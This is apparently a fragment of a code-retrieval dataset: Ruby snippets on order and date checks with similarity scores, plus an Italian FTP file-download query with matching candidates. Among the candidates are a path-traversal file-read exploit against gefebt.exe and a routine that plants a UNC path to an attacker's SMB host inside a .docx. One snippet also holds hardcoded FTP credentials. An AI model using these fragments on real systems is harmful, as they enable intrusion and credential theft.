orders(:santa_next_christmas_order)\n assert !order.empty?\n assert order.order_line_items.size > 0\n order.empty!\n assert order.empty?\n assert_equal order.order_line_items.size, 0\n end", "def up_to_date?\n self.entries.size >= Round.all.size\n end", "def in_order?(array)\nend", "def validate_price_sort(order)\n ordered_prices = [] \n \n # Get all the spans that include prices.\n price_spans = @browser.spans(:class=> /s-price/)\n price_spans.each do |span|\n ordered_prices << span.text\n end\n \n if order == Order::Ascending\n raise \"Sort by Price failed.\" unless ordered_prices == ordered_prices.sort\n else\n raise \"Sort by Price failed.\" unless ordered_prices == ordered_prices.reverse\n end\nend", "def has_confirmed_order?\n confirmed_order = false\n open_orders.each do |o|\n if o.confirmed\n confirmed_order = true\n break\n end\n end\n confirmed_order\n end", "def probe?\n self.order == -1\n end", "def day_must_be_in_order\n already_there = arm.visit_groups.find_by(position: position)\n last_persisted_pos = arm.visit_groups.last.try(:position) || 0\n\n # determine neighbors that will be after save\n left_neighbor, right_neighbor =\n if id.nil? # inserting new record\n if position <= last_persisted_pos # inserting before\n [already_there.try(:higher_item), already_there]\n else # insert as last\n [arm.visit_groups.last, nil]\n end\n else # moving present record\n if already_there.try(:id) == id # not changing position, get our neighbors\n [higher_item, lower_item]\n else # position must be changing\n if already_there.position < changed_attributes[:position]\n [already_there.try(:higher_item), already_there]\n else\n [already_there, already_there.try(:lower_item)]\n end\n end\n end\n\n unless day > (left_neighbor.try(:day) || day - 1) && day < (right_neighbor.try(:day) || day + 1)\n errors.add(:day, 'must be in order')\n end\n end", "def check_reorder_date\n if reorder_on <= Date.today\n reorder_on = Date.tomorrow\n save\n end\n end", "def day_must_be_in_order\n already_there = arm.visit_groups.find_by(position: position) || arm.visit_groups.find_by(id: id)\n last_persisted_pos = arm.visit_groups.last.try(:position) || 0\n\n # determine neighbors that will be after save\n left_neighbor, right_neighbor =\n if id.nil? # inserting new record\n if position.nil? # insert as last\n [arm.visit_groups.last, nil]\n elsif position <= last_persisted_pos # inserting before\n [already_there.try(:higher_item), already_there]\n end\n else # moving present record\n if already_there.try(:id) == id # not changing position, get our neighbors\n [higher_item, lower_item]\n else # position must be changing\n if already_there.position < changed_attributes[:position]\n [already_there.try(:higher_item), already_there]\n else\n [already_there, already_there.try(:lower_item)]\n end\n end\n end\n\n if left_neighbor.try(:id) == id\n left_neighbor = nil\n end\n\n unless day > (left_neighbor.try(:day) || day - 1) && day < (right_neighbor.try(:day) || day + 1)\n errors.add(:day, 'must be in order')\n end\n end", "def has_ordered?(item_to_check)\n if item_to_check.class == Item\n @order.any? {|item| item.name == item_to_check.name}\n else \n false\n end \nend", "def available_for_order?(_order)\n true\n end", "def insync?(current)\n current.sort == should.sort\n end", "def insync?(current)\n current.sort == should.sort\n end", "def insync?(current)\n current.sort == should.sort\n end", "def insync?(current)\n current.sort == should.sort\n end", "def correct?\n inorder.each_cons(2).all? { |p, n| p <= n }\n end", "def duplicate_order?(response)\n response.params.has_key?(:ErrInfo) and response.params[:ErrInfo] == DUPLICATE_ORDER_CODE\n end", "def test_valid_when_updating_wanted_on_in_future_with_past_wanted_on\n @item = items(:overdue_unfinished_item)\n @item.wanted_on = 1.day.from_now.to_date\n # Have to also update dropdead_on, to avoid having wanted_on > dropdead_on\n @item.dropdead_on = 1.day.from_now.to_date\n assert @item.valid?\n end", "def ensure_valid_event\n next_event = Event.sorted.where(\"event_at > ? \", self.event_at_was).first\n previous_event = Event.sorted.where(\"event_at < ? \", self.event_at_was).last\n if next_event && self.event_at > next_event.event_at\n self.errors.add(:event_at, \"exceeded with next event\")\n elsif previous_event && self.event_at < previous_event.event_at\n self.errors.add(:event_at, \"becomes older with the previous event\")\n end\n end", "def correct?\n starts_at < ends_at && starts_at.to_date == ends_at.to_date\n end", "def test_truth\n assert_kind_of Order, orders(:first)\n end", "def dates_in_order?(date1, date2)\n return true if date1.nil? or date2.nil? or date2 >= date1\n false\n end", "def insync?(is)\n is.sort! == should.sort!\n end", "def valid_question_ordering?(proposed_ordering)\n ordering_hash = proposed_ordering.to_h\n section_ids = ordering_hash.keys\n question_ids = ordering_hash.values.flatten\n valid_section_ids?(section_ids) && valid_question_ids?(question_ids)\n end", "def assert_order klass, *order\n assert klass.all == klass.all.order(order),\n \"Expected #{klass} to be ordered by #{order}\"\n end", "def test_retuns_job_in_a_specific_order_if_only_one_has_dependency\n sequence = Sequence.new()\n sequence.add(\"a =>\n b => c\n c =>\")\n sequence.ordered.each do |job|\n assert (%w[a b c].include?(job))\n end\n assert sequence.ordered.index(\"c\") < sequence.ordered.index(\"b\")\n end", "def in_order?(arr)\r\n # your code goes here\r\n\r\n arr == arr.sort\r\nend", "def unappliable_order?\n order.bought? == false\n end", "def preserve_order(page, earlier, later)\n page.body.index(earlier.to_s).must_be :<, page.body.index(later.to_s)\nend", "def has_future_exchange_dates\n now = Time.now.utc.to_i\n self.exchange_dates.each do |availability_date|\n if availability_date.latest_date.to_i > now\n return true\n end\n end\n return false\n end", "def is_conflict?\n from_json\n (@order && @order.paid?).tap do |x|\n @error = true if x\n end\n end", "def in_order?(arr)\n # your code goes here\n arr.sort == arr\nend", "def check_dates\n dates_already_booked = [date_in, date_out]\n body.bookings.each do |b|\n dates_already_booked << b.date_in\n dates_already_booked << b.date_out\n end\n dates_already_booked.sort!\n idx_in = dates_already_booked.index(date_in)\n idx_out = dates_already_booked.index(date_out)\n if idx_in + 1 == idx_out && idx_in % 2 == 0\n true\n else\n throw(:abort)\n end\n end", "def in_order?(arr)\n # your code goes here\n arr.sort == arr\n \nend", "def test_order\n @@test_orders[self] || AVAILABLE_ORDERS.first\n end", "def ordered?\n @ordered ||= !!options[:ordered]\n end", "def in_order?(arr)\n # your code goes here\n arr == arr.sort\nend", "def before_period?\n if Time.now >= self.orderDate \n errors.add(:orderDate, \"Can't be in the past\")\n end\n end", "def in_order?(arr)\n arr.sort == arr\nend", "def in_order?(arr)\n arr.sort == arr\nend", "def assert_valid_order(order, fields)\n assert_kind_of 'options[:order]', order, Array\n\n if order.empty? && fields && fields.any? { |property| !property.kind_of?(Operator) }\n raise ArgumentError, '+options[:order]+ should not be empty if +options[:fields] contains a non-operator'\n end\n\n order.each do |order_entry|\n case order_entry\n when Operator\n unless order_entry.operator == :asc || order_entry.operator == :desc\n raise ArgumentError, \"+options[:order]+ entry #{order_entry.inspect} used an invalid operator #{order_entry.operator}\"\n end\n\n assert_valid_order([ order_entry.target ], fields)\n\n when Symbol, String\n unless @properties.named?(order_entry)\n raise ArgumentError, \"+options[:order]+ entry #{order_entry.inspect} does not map to a property in #{model}\"\n end\n\n when Property\n unless order_entry.model == model && @properties.include?(order_entry)\n raise ArgumentError, \"+options[:order]+ entry #{order_entry.name.inspect} does not map to a property in #{model}\"\n end\n\n when Direction\n unless order_entry.property.model == model && @properties.include?(order_entry.property)\n raise ArgumentError, \"+options[:order]+ entry #{order_entry.property.name.inspect} does not map to a property in #{model}\"\n end\n\n else\n raise ArgumentError, \"+options[:order]+ entry #{order_entry.inspect} of an unsupported object #{order_entry.class}\"\n end\n end\n end", "def in_order?(arr)\n arr == arr.sort\n # your code goes here\nend", "def in_order? (array)\n\tif array[i] < array[i+1] \n\t\trun = 0\n\t\trun += 1\n\t\tn +=1\n\tend\nend", "def is_under_process?\n #if true then this sub has got orders which are under process(by payment / shipment)\n self.orders.where('(delivery_date <= ? and delivery_date > ?) or (state = ? and payment_state = ?)', ORDER_UPDATE_LIMIT.days.from_now.to_date, Time.now, 'placed', 'paid').present?\n end", "def eql?(order)\n @id.to_s.downcase == order.get_id.to_s.downcase && @name.to_s.downcase == order.get_name.to_s.downcase\n end", "def in_order?(arr)\n arr == arr.sort\nend", "def in_order?(arr)\n arr == arr.sort\nend", "def order_summary_failed?\n return false unless rejected?\n return true if self.EventLog =~ /Validering av summer feilet/\n false\n end", "def valid_since?(time)\n @types.each do |type, config|\n have = self.by_type[type].reject{|s| s[:created_at] < time} || []\n\n interval = (Time.now - Chronic.parse(config[\"Every\"] + \" ago\")).to_i\n\n expected_count = (Time.now - time).to_i/interval.to_i\n expected_count = config[\"Keep\"] if expected_count > config[\"Keep\"]\n\n next if expected_count == 0\n\n expected_oldest = Time.now - (expected_count-1 * interval)\n expected_newest = Time.now - (interval * 2)\n\n count_ok = (have.count >= expected_count)\n oldest_ok = have.count > 0 && (have.oldest[:created_at] <= expected_oldest)\n newest_ok = have.count > 0 && (have.newest[:created_at] >= expected_newest)\n\n if @verbose\n have_oldest = have.oldest ? have.oldest[:created_at] : \"N/A\"\n have_newest = have.newest ? have.newest[:created_at] : \"N/A\"\n puts \"Type: #{type}\"\n puts \"Have: #{have.count} Expected: #{expected_count}: (#{count_ok})\"\n puts \"Oldest: #{have_oldest} Expected: #{expected_oldest} or older: (#{oldest_ok})\"\n puts \"Newest: #{have_newest} Expected: #{expected_newest} or newer: (#{newest_ok})\"\n end\n\n return false unless count_ok && oldest_ok && newest_ok\n end\n\n return true\n rescue Fog::Compute::AWS::Error\n return nil\n end", "def reorder_stock?\n stock < 100 && !current_reorder ? true : false\n end", "def acyclic?\n topsort.size == size\n end", "def update_ok?(order_hash)\n\t\tif !order_hash[:order_number]\n\t\t\treturn false\n\t\telsif order_hash[:status] == 'SH' \n\t\t\t\treturn true unless order_hash[:tracking_number] == nil || order_hash[:ship_method] == nil\n\t\telse\n\t\t\treturn true\n\t\tend \n\tend", "def update_ok?(order_hash)\n\t\tif !order_hash[:order_number]\n\t\t\treturn false\n\t\telsif order_hash[:status] == 'SH' \n\t\t\t\treturn true unless order_hash[:tracking_number] == nil || order_hash[:ship_method] == nil\n\t\telse\n\t\t\treturn true\n\t\tend \n\tend", "def has_been_recorded?(order)\n unless Validation.validate(order.to_s) && Order.is_a_valid_item_code?(order.to_s)\n return false\n end\n @customer_order.push order.to_s\n return true\n end", "def up_to_date_for?(timestamp)\n keys.sort.last >= timestamp\n end", "def check_if_asqs_up_to_date\n asq = Asq.all.order(last_run: :desc).limit(1)[0]\n return true if !asq.nil? && asq.last_run > Time.now - 20.minutes\n false\n end", "def futur?\n before > 0\n end", "def test_change_order_down\n OrderTest.change_order(5, 2)\n assert_equal(2, OrderTest.find(5).order)\n assert_equal(3, OrderTest.find(2).order)\n assert_equal(4, OrderTest.find(3).order)\n assert_equal(5, OrderTest.find(4).order)\n end", "def orders?\n return orders.any?\n end", "def dateordered_cannot_be_in_the_past\n errors.add(:dateOrdered, \"can't be in the past\") if\n !dateOrdered.blank? and dateOrdered < Date.today\n end", "def sorted?\n self == sort\n end", "def test_reorder_up\n OrderTest.change_order(2, 5)\n assert_equal(2, OrderTest.find(3).order)\n assert_equal(3, OrderTest.find(4).order)\n assert_equal(4, OrderTest.find(5).order)\n assert_equal(5, OrderTest.find(2).order)\n end", "def test_retuns_ordered_jobs_considering_all_dependecies\n sequence = Sequence.new()\n sequence.add(\"a =>\n b => c\n c => f\n d => a\n e => b\n f =>\")\n sequence.ordered.each do |job|\n assert (%w[a b c d e f].include?(job))\n end\n assert sequence.ordered.index(\"f\") < sequence.ordered.index(\"c\")\n assert sequence.ordered.index(\"c\") < sequence.ordered.index(\"b\")\n assert sequence.ordered.index(\"b\") < sequence.ordered.index(\"e\")\n assert sequence.ordered.index(\"a\") < sequence.ordered.index(\"d\")\n end", "def in_order?(arr)\n i = 0\n while i <= arr.length - 2\n return false if arr[i] > arr[i + 1]\n i += 1\n end\n true\nend", "def eligible?(order)\n eligible = true\n eligible &&= Time.now >= start_at if start_at\n eligible &&= Time.now <= end_at if end_at\n eligible &&= in_zone?(order)\n\n return(eligible)\n end", "def insync?(is)\n (is.size == should.size && is.sort == should.sort)\n end", "def test_threds_posts_order\n past_post = build(:post, start:Date.today - 10)\n present_post = build(:post, start:Date.today)\n future_post = build(:post, start:Date.today + 10)\n @thred = create(:thred, posts:[past_post, present_post, future_post])\n\n assert_equal @thred.reload.posts.map(&:id), [future_post.id, present_post.id, past_post.id]\n end", "def q1_sequence_ok?(answer, order)\r\n # check (i) format of answer. assumption: order is always correct\r\n if answer == nil\r\n return \"Proposed seqence is nil. Proposed sequence should be a 1D array of items (strings).\"\r\n elsif !answer.is_a?(Array)\r\n return \"Proposed sequence is not an array. Proposed sequence should be a 1D array of items (strings).\"\r\n end\r\n answer.each{|x| if !x.is_a?(String)\r\n return \"Proposed sequence contains an element which is not a string. Proposed sequence should be a 1D array containing only strings.\"\r\n end}\r\n \r\n # check (ii) contents of answer; is it same as order?\r\n if answer.sort == order.sort\r\n return true # ok\r\n end\r\n\r\n # construct error message for returning\r\n missing_items = order - answer\r\n additional_items = answer - order\r\n \r\n error_msg = \"The items in order are different from the items in your proposed sequence. They must contain identical items! \"\r\n if missing_items.length>0\r\n error_msg += \"These items are missing from your sequence :#{missing_items}.\"\r\n end\r\n if additional_items.length>0\r\n error_msg += \"These items should not be in your sequence :#{additional_items}.\"\r\n end \r\n return error_msg\r\nend", "def check_history_collision\n # puoi rientarre nello stesso momento in cui sei uscito\n # puoi uscire nello stesso momento in cui sei entrato\n if self.profile.punches\n .where('(punches.arrival <= ? AND punches.departure > ?) OR (punches.arrival < ? AND punches.departure >= ?)', self.arrival, self.arrival, self.departure, self.departure)\n .where('punches.id != ?', self.id || 0).any?\n self.errors.add(:base, \"Si interseca con altre entrate. Controllare le presenze incomplete dello studente.\")\n return false\n end\n true\n end", "def sorted?\n\t\tary = self.dup\n\t\toriginal = self.dup\n\t\tary.sort!\n\t\tif (ary == original)then return 1 end\n\t\tary.reverse!\n\t\tif (ary == original) then return -1 end\n\t\treturn false\n\tend", "def asshole?\n last_round = Round.find(:first, :conditions => [\"round_id = ?\", self.id - 1])\n self.created_on < last_round.due_date\n end", "def valid_order?\n order.coupon.nil? && coupon.cancelled_at.nil?\n end", "def outdated?\n (Time.now - self.time_of_last_ok) > threshold_for_oldest_ok\n end", "def sorted?(arr)\n\tfor i in 1...arr.length\n\t\treturn false if arr[i] < arr[i-1]\n\tend\n\n\treturn true\nend", "def date_order(task1, task2)\n return -1 if task1.has_date? == false && task2.has_date? == true\n return 1 if task1.has_date? == true && task2.has_date? == false\n task1.date <=> task2.date if task1.has_date? == true && task2.has_date? == true\n id_order(task1, task2) if task1.date == task2.date\n end" ]
[ "0.67181987", "0.67181987", "0.6708488", "0.6614307", "0.6552122", "0.6551697", "0.65345234", "0.6495333", "0.6454099", "0.6394244", "0.638909", "0.63826233", "0.63441443", "0.63337606", "0.63058877", "0.6280503", "0.6225544", "0.6156251", "0.61195153", "0.61118865", "0.6111843", "0.6108209", "0.6093633", "0.60157436", "0.6010495", "0.5955953", "0.5951618", "0.5941879", "0.59298915", "0.59151965", "0.58914834", "0.5885792", "0.5883726", "0.58812255", "0.5878633", "0.58671135", "0.5864911", "0.5864911", "0.5864911", "0.5864911", "0.58573925", "0.5840911", "0.58182573", "0.58113205", "0.58001375", "0.5799785", "0.5788683", "0.57795674", "0.57763416", "0.57537705", "0.5737644", "0.5735473", "0.5735048", "0.5727316", "0.572104", "0.57199097", "0.5719855", "0.5710463", "0.5694589", "0.5694584", "0.56939816", "0.5678836", "0.56560147", "0.56547564", "0.56547564", "0.565153", "0.5649267", "0.56467074", "0.5640423", "0.56363225", "0.56347716", "0.56347716", "0.56269264", "0.5586374", "0.55803853", "0.55775225", "0.55772847", "0.55772847", "0.55748326", "0.5566356", "0.555871", "0.5554113", "0.5554002", "0.55440724", "0.5531423", "0.5523556", "0.5522858", "0.5512081", "0.5507593", "0.5490458", "0.5489527", "0.5475417", "0.547407", "0.54465616", "0.5442327", "0.54422003", "0.5439529", "0.5437909", "0.542788", "0.5425437" ]
0.5854435
41
Scarica dal sito FTP il file associato al tipo di flusso Parameters : file => "MGP_Prezzi" (Tipo di flusso che deve scaricate) Return : "K:/.../esiti_xml/20141009/20141010MGPPrezzi.xml" (path del flusso scaricato)
def download_file(file) #name_file = "20141010MGPPrezzi.xml" name_file = parse_name_file file path_xml = crea_dir_per_xml full_path = path_xml+name_file #entro dentro la directory nel server ftp @ftp.chdir("/MercatiElettrici/#{file}") #scarico nella directory corrente il file begin ftp.getbinaryfile(name_file, full_path) puts "Download #{name_file}" return full_path rescue return false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_name_file file\r\n #name_file = \"#{@giorno_flusso}\" + \"#{file.gsub \"MGP_\",\"MGP\"}\" + \".xml\" \r\n name_file = case file\r\n when /OffertePubbliche/ then \"#{@giorno}\" + \"#{file.gsub \"MGP_\",\"MGP\"}\" + \".zip\" \r\n when /MGP/ then \"#{@giorno}\" + \"#{file.gsub \"MGP_\",\"MGP\"}\" + \".xml\" \r\n when /MI1/ then \"#{@giorno}\" + \"#{file.gsub \"MI1_\",\"MI1\"}\" + \".xml\"\r\n when /MI2/ then \"#{@giorno}\" + \"#{file.gsub \"MI2_\",\"MI2\"}\" + \".xml\"\r\n when /MI3/ then \"#{@giorno}\" + \"#{file.gsub \"MI3_\",\"MI3\"}\" + \".xml\" \r\n when /MI4/ then \"#{@giorno}\" + \"#{file.gsub \"MI4_\",\"MI4\"}\" + \".xml\" \r\n when /MI5/ then \"#{@giorno}\" + \"#{file.gsub \"MI5_\",\"MI5\"}\" + \".xml\" \r\n end\r\n name_file\r\n end", "def ftp_get\n FTP.get(xml_filename)\n end", "def file_upload(file)\n file[\"//\"] = \"/\"\n file = ENV['RED5_HOME'] + \"/webapps/encrev1/#{file}\"\n request_url = \"#{@url}/file/demo\"\n request_url += \"?uid=#{@conf.uid}&sid=#{@conf.sid}\"\n $log.info \"Request filename : #{request_url}\"\n response = RestClient.put request_url, \"\"\n $log.info \"--> Got reponse : #{response}\"\n file_name = JSON.parse(response.to_str)['result']\n if file_name\n $log.info \"--> Got filename : #{file_name}\"\n request_url = \"#{@url}/file/demo/\"\n request_url += file_name\n request_url += \"?uid=#{@conf.uid}&sid=#{@conf.sid}\"\n $log.info \"Upload (#{file}) to Encre : #{request_url}\"\n response = RestClient.put request_url, File.read(file), :content_type => 'application/x-shockwave-flash'\n $log.info \"Delete #{file} ...\"\n file = File.delete(file)\n else\n file_name = nil\n end\n rescue\n file_name = nil\n $log.info \"... failed ! (check exception below)\"\n $log.info $!\n end", "def set_ftpfile\n @ftpfile = Ftpfile.find(params[:id])\n end", "def file_path\n \"studio/#{type}/#{id}.xml\"\n end", "def retrieve_file(file)\n begin\n @ftp.getbinaryfile(file)\n return true\n rescue Exception => e\n error_message(e)\n return false\n end\n end", "def image_import(file_path)\n @name = File.basename(file_path)\n \n ftp_put(file_path.to_s)\n \n result = Nokogiri::XML(send(render(:image)))\n desc = result.xpath('//filemanagement-description').text\n total = result.xpath('//filemanagement-totalmoved').text.to_i\n name = result.xpath('//filemanagement-info').text\n error = desc.include?('not exist') ? 'File not found' : total < 1 ? 'Unsupported file type' : nil\n \n count = 0\n limit = 15\n \n begin\n sleep 0.5\n ftp_delete(@name)\n rescue\n count += 1\n retry if count < limit\n end\n \n {\n :file_path => file_path.to_s,\n :old_name => @name,\n :new_name => name,\n :error => error\n }\n end", "def file\n @file\n end", "def fep(file)\n return File.expand_path(file)\n end", "def file\n @file\n end", "def file\n @file\n end", "def file\n @file\n end", "def file\n @file\n end", "def xml\n File.read(\"#{@file_path}.xml\")\n end", "def send_file_to_server(file)\n opener = FileManager.new(file)\n flag, content = opener.open_file\n if flag\n answer = execute_rpc_call(content)\n return parse_answer(answer, file)\n else\n return \"Can't open file #{file}\"\n end\n end", "def file\r\n LocalFile\r\n end", "def read_file(file)\n travs = \"\"\n travs << \"../\" * datastore['DEPTH']\n travs << file\n\n print_status(\"#{@peer} - Retrieving file contents...\")\n\n connect\n req = \"GET #{normalize_uri(target_uri.path, \"gefebt.exe\")}?substitute.bcl+FILE=#{travs} HTTP/1.0\\r\\n\\r\\n\"\n sock.put(req)\n res = sock.get_once\n disconnect\n\n if res and res =~ /HTTP\\/1\\.0 200 OK/\n return res\n else\n return nil\n end\n\n end", "def opm\n\n opm = @sopm\n\n folder = File.dirname(@sopm_file)\n\n files_nodes = opm.xpath('/otrs_package/Filelist/File')\n files_nodes.each { |files_node|\n\n file_location = files_node['Location']\n file = File.open(\"#{folder}/#{file_location}\", 'r')\n file_content = file.read\n file.close\n\n files_node['Encode'] = 'Base64'\n files_node.content = Base64.strict_encode64( file_content )\n }\n\n opm.to_xml\n end", "def gen_rel_path(file)\n file = \"/secure/news/#{@folder}/#{file}\"\n end", "def so_request(file, *_)\n original_file = file\n path = get_file_name(file)\n unless File.exists?(path)\n path += '.txt'\n stop \"!File #{original_file} does not exist\" unless File.exists?(path)\n end\n self.push context_for_file(path)\n end", "def wait_for_xml_upload # 모바일용 지면보기 XML 콘테이너/업데이트정보 생성될 때 까지 2분간격 확인\n year = date.year\n month = date.month.to_s.rjust(2, '0')\n day = date.day.to_s.rjust(2, '0')\n issue_date = \"#{year}#{month}#{day}\"\n ip = '211.115.91.68'\n id = 'jimeun'\n pw = 'sodlfwlaus2018!@#$'\n ftp_folder = \"#{year}/#{month}/#{day}\"\n found = false\n 100.times do\n Net::FTP.open(ip, id, pw) do |ftp|\n ftp.chdir(ftp_folder)\n files_in_folder = ftp.list\n files_in_folder.each do |file|\n found = true if file.include?('Container.xml')\n break if found\n end\n end\n return true if found\n puts \"+++++++ Container.xml 파일이 생성되지 않았습니다.\"\n sleep 120 # 2 min\n end\n found\nend", "def file\n @file\n end", "def file\n FILE\n end", "def path\n @file\n end", "def file=(file)\n self.fileRef = file.uuid\n end", "def file(file, simplified = simplified?)\n simplify_mime(fm_file(file), simplified)\n end", "def send_file(file, remotefile = File.basename(file))\n begin\n @ftp.putbinaryfile(file, remotefile)\n return true\n rescue Exception => e\n error_message(e)\n return false\n end\n end", "def ftpfile_params\n params.require(:ftpfile).permit(:ftpcr_id, :file_name)\n end", "def file(file_type, id)\n query = \"/?client_id=#{@client_id}&#{id}\"\n path = \"#{file_type}/#{__method__}.to_s\"\n resp = http_get(path, query)\n end", "def file?(file, package)\n id = @file_ids[[file, package]]\n return id if id\n\n file_id = nil\n\n page = \"/frs/\"\n\n form = {\n \"group_id\" => group_id\n }\n scrape = http_post(page, form)\n\n restr = ''\n #restr << Regexp.escape( package )\n #restr << '\\s*'\n restr << Regexp.escape( '<a href=\"/frs/download.php/' )\n restr << '(\\d+)'\n restr << Regexp.escape( %{/#{file}} )\n re = Regexp.new(restr)\n\n md = re.match(scrape)\n if md\n file_id = md[1]\n end\n\n @file_ids[[file, package]] = file_id\n end", "def raw_url(file_name)\n \"ftp://#{user}@#{host}#{folder}#{file_name}\"\n end", "def path\n @file\n end", "def localFile(f)\n fileUri(File::absolute_path(f))\nend", "def get_shp_file(files)\n\t\tshp_extract = files.select{ |i| i[/\\.shp$/] }\n\t\tshp_file = shp_extract[0]\n\t\t@path = Rails.root.join(\"tmp/#{shp_file}\")\n\tend", "def read_remote_file(file)\n begin\n result = \"\"\n @ftp.retrbinary(\"RETR #{file}\", 1024) {|line| result += line if line != nil}\n rescue Exception => e\n error_message(e)\n ensure\n return result\n end\n end", "def simplifie_fichier(xml)\n heure_debut = nil\n xml.xpath('//xmlns:trkpt').each do |trkpt|\n next if trkpt.xpath('xmlns:time').text.blank?\n if heure_debut.blank?\n heure_debut = Time.parse(trkpt.xpath('xmlns:time').text)\n else\n heure = Time.parse(trkpt.xpath('xmlns:time').text)\n if heure.to_i < heure_debut.to_i || (heure.to_i - heure_debut.to_i) >= 60\n heure_debut = heure\n else\n trkpt.remove\n end\n end\n end\n xml\n end", "def template_file(file)\n File.join(\n MiGA::MiGA.root_path,\n 'lib', 'miga', 'cli', 'action', 'browse', file\n )\n end", "def download_file(file)\n BasicSocket.do_not_reverse_lookup = true\n ftp = Net::FTP.new('server', 'user', 'password')\n ftp.passive = true\n\n begin\n logger.info \"info: Downloading #{file}.\"\n ftp.getbinaryfile(File.basename(file), file, 1024)\n rescue Net::FTPPermError => e\n logger.info \"warning: can't download #{File.basenme(file)} from the remote server (#{e.message.tr(\"\\n\",\"\")}).\"\n end\n\n ftp.close\n\n end", "def get_cpt_file(file)\n \"#{File.expand_path(file)}.cpt\"\n end", "def file=(value)\n @file = value\n end", "def file=(value)\n @file = value\n end", "def remove_file(file)\n begin\n @ftp.delete(file)\n return true\n rescue Exception => e\n error_message(e)\n return false\n end\n end", "def inizializza_file_path\n lista_file\n check_file\n end", "def set_file\n @file = DataSet.find(params[:id])\n end", "def file\n @zip_fs_file\n end", "def get_file(file_id)\n\tputs \"Getting file: \" + file_id\n\tresponse = request_get('/api/partner/file/' + file_id)\n\tputs response.body\nend", "def get_file(line)\n line.match(/-w (.+) -p/)[1]\n end", "def upload_request_file(pos, user)\n\t\tfile_contents = generate_pull_file_contents(pos, user)\n\t\tfile_path = gen_file\n\t\tlogger.info \"Pull request file: #{file_path}\"\n\t\tPullRequest.transaction do\n\t\t\tlogger.info \"File should contain #{file_contents.size} POs\"\n\t\t\tif file_contents.size > 0\n\t\t\t\tFile.write(file_path, file_contents.join(\"\\n\"))\n\t\t\t\tlogger.info \"#{file_path} created\"\n\t\t\tend\n\t\t\t@pr = PullRequest.new(filename: file_path, file_contents: (file_contents.size > 0 ? file_contents.join(\"\\n\") : ''), requester: User.current_user_object)\n\t\t\tpos.each do |p|\n\t\t\t\t@pr.physical_object_pull_requests << PhysicalObjectPullRequest.new(physical_object_id: p.id, pull_request_id: @pr.id)\n\t\t\tend\n\t\t\tif file_contents.size > 0\n\t\t\t\tsuccess = scp(file_path)\n\t\t\tend\n\t\t\t@pr.save!\n\t\t\t@pr\n\t\tend\n\tend", "def filename\n @file\n end", "def file\n file_id = @attributes[\"file\"]\n file_node = NodeCache.find(file_id)\n file_node ? file_node.name : nil\n end", "def file\n return @file\n end", "def file\n return @file\n end", "def file_id_to_file(file_id)\n telegram_file_path = bot.api.get_file(file_id: file_id)[\"result\"][\"file_path\"]\n telegram_file_uri = \"https://api.telegram.org/file/bot#{ ENV['BOT_API_TOKEN'] }/#{ telegram_file_path }\"\n file_from_uri(telegram_file_uri)\n end", "def read_file(file)\n build_xml(Ripper::SexpBuilder.new(IO.read(file)).parse)\n end", "def read_file(file)\n build_xml(Ripper::SexpBuilder.new(IO.read(file)).parse)\n end", "def file\n file_names[x]\n end", "def file\n File.join(directory, @file)\n end", "def manipulate_file(zipfile)\n\t\tref = \"<w:attachedTemplate r:id=\\\"rId1\\\"/>\"\n\n\t\trels_file_data = \"\"\n\t\trels_file_data << \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\"\n\t\trels_file_data << \"<Relationships xmlns=\\\"http://schemas.openxmlformats.org/package/2006/relationships\\\">\"\n\t\trels_file_data << \"<Relationship Id=\\\"rId1\\\" Type=\\\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/\"\n\t\trels_file_data << \"attachedTemplate\\\" Target=\\\"file://\\\\\\\\#{datastore['SMBHOST']}\\\\normal.dot\\\" TargetMode=\\\"External\\\"/></Relationships>\"\n\n\t\tzip_data = unzip_docx(zipfile)\n\t\tif zip_data.nil?\n\t\t\treturn nil\n\t\tend\n\n\t\t#file to check for reference file we need\n\t\tfile_content = zip_data[\"word/settings.xml\"]\n\t\tif file_content.nil?\n\t\t\tprint_error(\"Bad \\\"word/settings.xml\\\" file, check if it is a valid .docx.\")\n\t\t\treturn nil\n\t\tend\n\n\t\t#if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.\n\t\tif not file_content.index(\"w:attachedTemplate r:id=\\\"rId1\\\"\").nil?\n\t\t\tvprint_status(\"Reference to rels file already exists in settings file, we dont need to add it :)\")\n\t\t\tzip_data[\"word/_rels/settings.xml.rels\"] = rels_file_data\n\t\t\treturn zip_docx(zip_data)\n\t\telse\n\t\t\t#now insert the reference to the file that will enable our malicious entry\n\t\t\tinsert_one = file_content.index(\"<w:defaultTabStop\")\n\n\t\t\tif insert_one.nil?\n\t\t\t\tinsert_two = file_content.index(\"<w:hyphenationZone\") # 2nd choice\n\t\t\t\tif not insert_two.nil?\n\t\t\t\t\tvprint_status(\"HypenationZone found, we use this for insertion.\")\n\t\t\t\t\tfile_content.insert(insert_two, ref )\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tvprint_status(\"DefaultTabStop found, we use this for insertion.\")\n\t\t\t\tfile_content.insert(insert_one, ref )\n\t\t\tend\n\n\t\t\tif insert_one.nil? && insert_two.nil?\n\t\t\t\tprint_error(\"Cannot find insert point for reference into settings.xml\")\n\t\t\t\treturn nil\n\t\t\tend\n\n\t\t\t#update the files that contain the injection and reference\n\t\t\tzip_data[\"word/settings.xml\"] = file_content\n\t\t\tzip_data[\"word/_rels/settings.xml.rels\"] = rels_file_data\n\t\t\treturn zip_docx(zip_data)\n\t\tend\n\tend", "def parameter_file\n filename_path(:parameter_dir, filename)\n end", "def set_wx_file\n @wx_file = File.find(params[:id])\n end", "def xpath\n [\n \"//contentMetadata/resource/file[@id=\\\"#{druid}.txt\\\"]\",\n \"//contentMetadata/resource[@type='page']/file[@role='transcription'][@mimetype='text/plain' or @mimetype='text/html' or @mimetype='application/xml' or @mimetype='application/alto+xml']\"\n ]\n end", "def process_file\n #Load data into database\n #binary = ::File.open(path, 'rb'){|file| file.read}\n file = params[:content] \n if !file.blank?\n orig = file.original_filename\n token = SecureRandom.hex(32)\n path = \"#{Rails.root}/uploads/#{token}_#{orig}\"\n FileUtils.cp file.path, path\n # Log to database about\n SessionHelper.processdata(@user.email, token, path)\n end\n #redirect_to actions_display_summary_path\n @session = token\n itemsub_validate(@session)\n @filename = orig\n @url = YAML.load_file(\"#{Rails.root}/config/tableauview.yml\")[ENV[\"RAILS_ENV\"]][\"item_sub\"][\"upload_validation\"]\n @url = \"#{@url}?SESSION_ID=#{@session}\"\n # 